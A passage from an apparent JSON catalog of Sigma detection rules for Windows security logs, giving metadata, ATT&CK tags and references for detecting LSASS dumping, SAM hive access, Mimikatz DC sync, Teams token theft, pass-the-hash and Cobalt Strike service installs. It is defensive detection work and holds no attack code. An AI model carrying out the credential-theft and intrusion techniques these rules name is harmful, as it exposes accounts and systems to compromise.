      "value": "ETW Logging Disabled In .NET Processes - Registry"
    },
    {
      "description": "Detects handles requested to SAM registry hive",
      "meta": {
        "author": "Roberto Rodriguez @Cyb3rWard0g",
        "creation_date": "2019/08/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_sam_registry_hive_handle_request.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://threathunterplaybook.com/hunts/windows/190725-SAMRegistryHiveHandleRequest/notebook.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_sam_registry_hive_handle_request.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1012",
          "attack.credential_access",
          "attack.t1552.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896",
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          ],
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        },
        {
          "dest-uuid": "341e222a-a6e3-4f6f-b69c-831d792b1580",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
      ],
      "uuid": "f8748f2c-89dc-4d95-afb0-5a2dfdbad332",
      "value": "SAM Registry Hive Handle Request"
    },
    {
      "description": "Detects handle requests and access operations to specific registry keys to calculate the SysKey",
      "meta": {
        "author": "Roberto Rodriguez @Cyb3rWard0g",
        "creation_date": "2019/08/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_syskey_registry_access.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://threathunterplaybook.com/hunts/windows/190625-RegKeyAccessSyskey/notebook.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_syskey_registry_access.yml"
        ],
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          "attack.t1012"
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          "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896",
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      ],
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      "description": "Detects suspicious scheduled task creation events. Based on attributes such as paths, commands line flags, etc.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_susp_scheduled_task_creation.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4698",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_scheduled_task_creation.yml"
        ],
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          "attack.execution",
          "attack.privilege_escalation",
          "attack.persistence",
          "attack.t1053.005"
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        {
          "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
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          ],
          "type": "related-to"
        }
      ],
      "uuid": "3a734d25-df5c-4b99-8034-af1ddb5883a4",
      "value": "Suspicious Scheduled Task Creation"
    },
    {
      "description": "Detects svchost hosting RDP termsvcs communicating with the loopback address",
      "meta": {
        "author": "Samir Bousseaden",
        "creation_date": "2019/02/16",
        "falsepositive": [
          "Programs that connect locally to the RDP port"
        ],
        "filename": "win_security_rdp_reverse_tunnel.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES/blob/44fbe85f72ee91582876b49678f9a26292a155fb/Command%20and%20Control/DE_RDP_Tunnel_5156.evtx",
          "https://twitter.com/SBousseaden/status/1096148422984384514",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_rdp_reverse_tunnel.yml"
        ],
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          "attack.defense_evasion",
          "attack.command_and_control",
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        {
          "dest-uuid": "f6dacc85-b37d-458e-b58d-74fc4bbf5755",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "69b8fd78-40e8-4600-ae4d-662c9d7afdb3",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        },
        {
          "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
      ],
      "uuid": "5bed80b6-b3e8-428e-a3ae-d3c757589e41",
      "value": "RDP over Reverse SSH Tunnel WFP"
    },
    {
      "description": "This detection uses Windows security events to detect suspicious access attempts to the registry key values and sub-keys of Azure AD Health service agents (e.g AD FS).\nInformation from AD Health service agents can be used to potentially abuse some of the features provided by those services in the cloud (e.g. Federation).\nThis detection requires an access control entry (ACE) on the system access control list (SACL) of the following securable object: HKLM:\\SOFTWARE\\Microsoft\\ADHealthAgent.\nMake sure you set the SACL to propagate to its sub-keys.\n",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC",
        "creation_date": "2021/08/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_aadhealth_svc_agent_regkey_access.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/OTRF/Set-AuditRule/blob/c3dec5443414231714d850565d364ca73475ade5/rules/registry/aad_connect_health_service_agent.yml",
          "https://o365blog.com/post/hybridhealthagent/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_aadhealth_svc_agent_regkey_access.yml"
        ],
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          "attack.discovery",
          "attack.t1012"
        ]
      },
      "related": [
        {
          "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1d2ab8ac-1a01-423b-9c39-001510eae8e8",
      "value": "Azure AD Health Service Agents Registry Keys Access"
    },
    {
      "description": "Detects process handle on LSASS process with certain access mask and object type SAM_DOMAIN",
      "meta": {
        "author": "sigma",
        "creation_date": "2017/02/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_susp_lsass_dump.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/jackcr/status/807385668833968128",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_lsass_dump.yml"
        ],
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          "attack.credential_access",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "aa1697b7-d611-4f9a-9cb2-5125b4ccfd5c",
      "value": "Password Dumper Activity on LSASS"
    },
    {
      "description": "Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.",
      "meta": {
        "author": "@SerkinValery",
        "creation_date": "2022/09/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_teams_suspicious_objectaccess.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens",
          "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_teams_suspicious_objectaccess.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1528"
        ]
      },
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        {
          "dest-uuid": "890c9858-598c-401d-a4d5-c67ebcdd703a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "25cde13e-8e20-4c29-b949-4e795b76f16f",
      "value": "Suspicious Teams Application Related ObjectAcess Event"
    },
    {
      "description": "Detects scenario where weak encryption is enabled for a user profile which could be used for hash/password cracking.",
      "meta": {
        "author": "@neu5ron",
        "creation_date": "2017/07/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_alert_enable_weak_encryption.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://blog.harmj0y.net/redteaming/another-word-on-delegation/",
          "https://adsecurity.org/?p=2053",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_enable_weak_encryption.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
      ],
      "uuid": "f6de9536-0441-4b3f-a646-f4e00f300ffd",
      "value": "Weak Encryption Enabled and Kerberoast"
    },
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      "description": "This rule triggers on user accounts that are added to the local Administrators group, which could be legitimate activity or a sign of privilege escalation activity",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2017/03/14",
        "falsepositive": [
          "Legitimate administrative activity"
        ],
        "filename": "win_security_user_added_to_local_administrators.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_added_to_local_administrators.yml"
        ],
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          "attack.privilege_escalation",
          "attack.t1078",
          "attack.persistence",
          "attack.t1098"
        ]
      },
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        {
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          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
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        },
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          "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27",
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          ],
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        }
      ],
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      "value": "User Added to Local Administrators"
    },
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      "description": "Detects the creation of a local hidden user account which should not happen for event ID 4720.",
      "meta": {
        "author": "Christian Burkard (Nextron Systems)",
        "creation_date": "2021/05/03",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_hidden_user_creation.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/SBousseaden/status/1387743867663958021",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_hidden_user_creation.yml"
        ],
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          "attack.persistence",
          "attack.t1136.001"
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      },
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        {
          "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762",
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          ],
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      ],
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    },
    {
      "description": "Detects the extraction of password protected ZIP archives with suspicious file names. See the filename variable for more details on which file has been opened.",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
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        "falsepositive": [
          "Legitimate used of encrypted ZIP files"
        ],
        "filename": "win_security_susp_opened_encrypted_zip_filename.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/sbousseaden/status/1523383197513379841",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_opened_encrypted_zip_filename.yml"
        ],
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          "attack.t1036"
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      },
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        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
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          ],
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        },
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          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
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          ],
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        },
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          "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
          "tags": [
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          ],
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        }
      ],
      "uuid": "54f0434b-726f-48a1-b2aa-067df14516e4",
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    },
    {
      "description": "Look for non-system accounts SMB accessing a file with write (0x2) access mask via administrative share (i.e C$).",
      "meta": {
        "author": "Jose Rodriguez (@Cyb3rPandaH), OTR (Open Threat Research)",
        "creation_date": "2020/08/06",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_smb_file_creation_admin_shares.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://securitydatasets.com/notebooks/atomic/windows/lateral_movement/SDWIN-200806015757.html?highlight=create%20file",
          "https://github.com/OTRF/ThreatHunter-Playbook/blob/f7a58156dbfc9b019f17f638b8c62d22e557d350/playbooks/WIN-201012004336.yaml",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_smb_file_creation_admin_shares.yml"
        ],
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          "attack.lateral_movement",
          "attack.t1021.002"
        ]
      },
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        {
          "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b210394c-ba12-4f89-9117-44a2464b9511",
      "value": "SMB Create Remote File Admin Share"
    },
    {
      "description": "Potential adversaries accessing the microphone and webcam in an endpoint.",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2020/06/07",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_camera_microphone_access.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/duzvik/status/1269671601852813320",
          "https://medium.com/@7a616368/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_camera_microphone_access.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1123"
        ]
      },
      "related": [
        {
          "dest-uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
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      "value": "Processes Accessing the Microphone and Webcam"
    },
    {
      "description": "Detect PetitPotam coerced authentication activity.",
      "meta": {
        "author": "Mauricio Velazco, Michael Haag",
        "creation_date": "2021/09/02",
        "falsepositive": [
          "Unknown. Feedback welcomed."
        ],
        "filename": "win_security_petitpotam_network_share.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/topotam/PetitPotam",
          "https://github.com/splunk/security_content/blob/0dd6de32de2118b2818550df9e65255f4109a56d/detections/endpoint/petitpotam_network_share_access_request.yml",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_petitpotam_network_share.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1187"
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      },
      "related": [
        {
          "dest-uuid": "b77cf5f3-6060-475d-bd60-40ccbf28fdc2",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1ce8c8a3-2723-48ed-8246-906ac91061a6",
      "value": "Possible PetitPotam Coerce Authentication Attempt"
    },
    {
      "description": "Detects read access to a domain user from a non-machine account",
      "meta": {
        "author": "Maxime Thiebaut (@0xThiebaut)",
        "creation_date": "2020/03/30",
        "falsepositive": [
          "Administrators configuring new users."
        ],
        "filename": "win_security_ad_user_enumeration.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf",
          "http://www.stuffithoughtiknew.com/2019/02/detecting-bloodhound.html",
          "https://docs.microsoft.com/en-us/windows/win32/adschema/attributes-all",
          "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_user_enumeration.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1087.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ab6bffca-beff-4baa-af11-6733f296d57a",
      "value": "Potential AD User Enumeration From Non-Machine Account"
    },
    {
      "description": "Detects scenarios where one can control another users or computers account without having to use their credentials.",
      "meta": {
        "author": "@neu5ron",
        "creation_date": "2017/04/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_alert_ad_user_backdoors.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://blog.harmj0y.net/redteaming/another-word-on-delegation/",
          "https://msdn.microsoft.com/en-us/library/cc220234.aspx",
          "https://adsecurity.org/?p=3466",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_ad_user_backdoors.yml"
        ],
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          "attack.t1098",
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      },
      "related": [
        {
          "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27",
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        }
      ],
      "uuid": "300bac00-e041-4ee2-9c36-e262656a6ecc",
      "value": "Active Directory User Backdoors"
    },
    {
      "description": "Detects possible addition of shadow credentials to an active directory object.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Elastic (idea)",
        "creation_date": "2022/10/17",
        "falsepositive": [
          "Modifications in the msDS-KeyCredentialLink attribute can be done legitimately by the Azure AD Connect synchronization account or the ADFS service account. These accounts can be added as Exceptions. (From elastic FP section)"
        ],
        "filename": "win_security_susp_possible_shadow_credentials_added.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/SBousseaden/status/1581300963650187264?",
          "https://www.elastic.co/guide/en/security/8.4/potential-shadow-credentials-added-to-ad-object.html",
          "https://cyberstoph.org/posts/2022/03/detecting-shadow-credentials/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_possible_shadow_credentials_added.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1556"
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      },
      "related": [
        {
          "dest-uuid": "f4c1826f-a322-41cd-9557-562100848c84",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f598ea0c-c25a-4f72-a219-50c44411c791",
      "value": "Possible Shadow Credentials Added"
    },
    {
      "description": "Detects wceaux.dll access while WCE pass-the-hash remote command execution on source host",
      "meta": {
        "author": "Thomas Patzke",
        "creation_date": "2017/06/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_mal_wceaux_dll.yml",
        "level": "critical",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://www.jpcert.or.jp/english/pub/sr/ir_research.html",
          "https://jpcertcc.github.io/ToolAnalysisResultSheet",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_mal_wceaux_dll.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003",
          "attack.s0005"
        ]
      },
      "related": [
        {
          "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1de68c67-af5c-4097-9c85-fe5578e09e67",
      "value": "WCE wceaux.dll Access"
    },
    {
      "description": "Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Wojciech Lesicki",
        "creation_date": "2021/05/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_cobaltstrike_service_installs.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://www.sans.org/webcasts/119395",
          "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/",
          "https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_cobaltstrike_service_installs.yml"
        ],
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          "attack.execution",
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          "attack.lateral_movement",
          "attack.t1021.002",
          "attack.t1543.003",
          "attack.t1569.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d7a95147-145f-4678-b85d-d1ff4a3bb3f6",
      "value": "CobaltStrike Service Installations - Security"
    },
    {
      "description": "Addition of domains is seldom and should be verified for legitimacy.",
      "meta": {
        "author": "Thomas Patzke",
        "creation_date": "2019/12/03",
        "falsepositive": [
          "Legitimate extension of domain structure"
        ],
        "filename": "win_security_susp_add_domain_trust.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_add_domain_trust.yml"
        ],
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          "attack.persistence",
          "attack.t1098"
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      },
      "related": [
        {
          "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "0255a820-e564-4e40-af2b-6ac61160335c",
      "value": "Addition of Domain Trusts"
    },
    {
      "description": "Detects Mimikatz DC sync security events",
      "meta": {
        "author": "Benjamin Delpy, Florian Roth (Nextron Systems), Scott Dermott, Sorina Ionescu",
        "creation_date": "2018/06/03",
        "falsepositive": [
          "Valid DC Sync that is not covered by the filters; please report",
          "Local Domain Admin account used for Azure AD Connect"
        ],
        "filename": "win_security_dcsync.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://blog.blacklanternsecurity.com/p/detecting-dcsync?s=r",
          "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662",
          "https://twitter.com/gentilkiwi/status/1003236624925413376",
          "https://gist.github.com/gentilkiwi/dcc132457408cf11ad2061340dcb53c2",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dcsync.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.s0002",
          "attack.t1003.006"
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      },
      "related": [
        {
          "dest-uuid": "f303a39a-6255-4b89-aecc-18c4d8ca7163",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "611eab06-a145-4dfa-a295-3ccc5c20f59a",
      "value": "Mimikatz DC Sync"
    },
    {
      "description": "This method uses uncommon error codes on failed logons to determine suspicious activity and tampering with accounts that have been disabled or somehow restricted.",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2017/02/19",
        "falsepositive": [
          "User using a disabled account"
        ],
        "filename": "win_security_susp_failed_logon_reasons.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625",
          "https://twitter.com/SBousseaden/status/1101431884540710913",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logon_reasons.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.initial_access",
          "attack.t1078"
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      },
      "related": [
        {
          "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9eb99343-d336-4020-a3cd-67f3819e68ee",
      "value": "Account Tampering - Suspicious Failed Logon Reasons"
    },
    {
      "description": "Detects a service installed by a client which has PID 0 or whose parent has PID 0",
      "meta": {
        "author": "Tim Rauch",
        "creation_date": "2022/09/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_service_installation_by_unusal_client.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/SBousseaden/status/1490608838701166596",
          "https://www.elastic.co/guide/en/security/current/windows-service-installed-via-an-unusual-client.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_service_installation_by_unusal_client.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.t1543"
        ]
      },
      "related": [
        {
          "dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
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          "type": "related-to"
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      ],
      "uuid": "c4e92a97-a9ff-4392-9d2d-7a4c642768ca",
      "value": "Service Installed By Unusual Client - Security"
    },
    {
      "description": "Detects scenario where if a user is assigned the SeEnableDelegationPrivilege right in Active Directory it would allow control of other AD user objects.",
      "meta": {
        "author": "@neu5ron",
        "creation_date": "2017/07/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_alert_active_directory_user_control.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://blog.harmj0y.net/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_active_directory_user_control.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1098"
        ]
      },
      "related": [
        {
          "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "311b6ce2-7890-4383-a8c2-663a9f6b43cd",
      "value": "Enabled User Right in AD to Control User Objects"
    },
    {
      "description": "Detects suspicious computer name samtheadmin-{1..100}$ generated by hacktool",
      "meta": {
        "author": "elhoim",
        "creation_date": "2022/09/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_susp_computer_name.yml",
        "level": "critical",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/helloexp/0day/blob/614227a7b9beb0e91e7e2c6a5e532e6f7a8e883c/00-CVE_EXP/CVE-2021-42287/sam-the-admin/sam_the_admin.py",
          "https://github.com/WazeHell/sam-theadmin/blob/main/sam_the_admin.py",
          "https://twitter.com/malmoeb/status/1511760068743766026",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_computer_name.yml"
        ],
        "tags": [
          "cve.2021.42278",
          "cve.2021.42287",
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          "attack.privilege_escalation",
          "attack.t1078"
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      },
      "related": [
        {
          "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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      ],
      "uuid": "39698b3f-da92-4bc6-bfb5-645a98386e45",
      "value": "Win Susp Computer Name Containing Samtheadmin"
    },
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      "description": "Detects update to a scheduled task event that contain suspicious keywords.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/12/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_susp_scheduled_task_update.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4698",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_scheduled_task_update.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.privilege_escalation",
          "attack.persistence",
          "attack.t1053.005"
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      },
      "related": [
        {
          "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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      ],
      "uuid": "614cf376-6651-47c4-9dcc-6b9527f749f4",
      "value": "Suspicious Scheduled Task Update"
    },
    {
      "description": "Detects a threat actor creating a file named `iertutil.dll` in the `C:\\Program Files\\Internet Explorer\\` directory over the network for a DCOM InternetExplorer DLL Hijack scenario.",
      "meta": {
        "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR)",
        "creation_date": "2020/10/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_dcom_iertutil_dll_hijack.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://threathunterplaybook.com/hunts/windows/201009-RemoteDCOMIErtUtilDLLHijack/notebook.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dcom_iertutil_dll_hijack.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.t1021.002",
          "attack.t1021.003"
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      },
      "related": [
        {
          "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
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        {
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      ],
      "uuid": "c39f0c81-7348-4965-ab27-2fde35a1b641",
      "value": "DCOM InternetExplorer.Application Iertutil DLL Hijack - Security"
    },
    {
      "description": "Detects the default \"UserName\" used by the DiagTrackEoP POC",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/03",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "win_security_diagtrack_eop_default_login_username.yml",
        "level": "critical",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/Wh04m1001/DiagTrackEoP/blob/3a2fc99c9700623eb7dc7d4b5f314fd9ce5ef51f/main.cpp#L46",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_diagtrack_eop_default_login_username.yml"
        ],
        "tags": [
          "attack.privilege_escalation"
        ]
      },
      "uuid": "2111118f-7e46-4fc8-974a-59fd8ec95196",
      "value": "DiagTrackEoP Default Login Username"
    },
    {
      "description": "Detects the attack technique pass the hash which is used to move laterally inside the network",
      "meta": {
        "author": "Dave Kennedy, Jeff Warren (method) / David Vassallo (rule)",
        "creation_date": "2019/06/14",
        "falsepositive": [
          "Administrator activity"
        ],
        "filename": "win_security_pass_the_hash_2.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://blog.binarydefense.com/reliably-detecting-pass-the-hash-through-event-log-analysis",
          "https://blog.stealthbits.com/how-to-detect-pass-the-hash-attacks/",
          "https://github.com/iadgov/Event-Forwarding-Guidance/tree/master/Events",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_pass_the_hash_2.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.t1550.002"
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      },
      "related": [
        {
          "dest-uuid": "e624264c-033a-424d-9fd7-fc9c3bbdb03e",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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          "type": "related-to"
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      ],
      "uuid": "8eef149c-bd26-49f2-9e5a-9b00e3af499b",
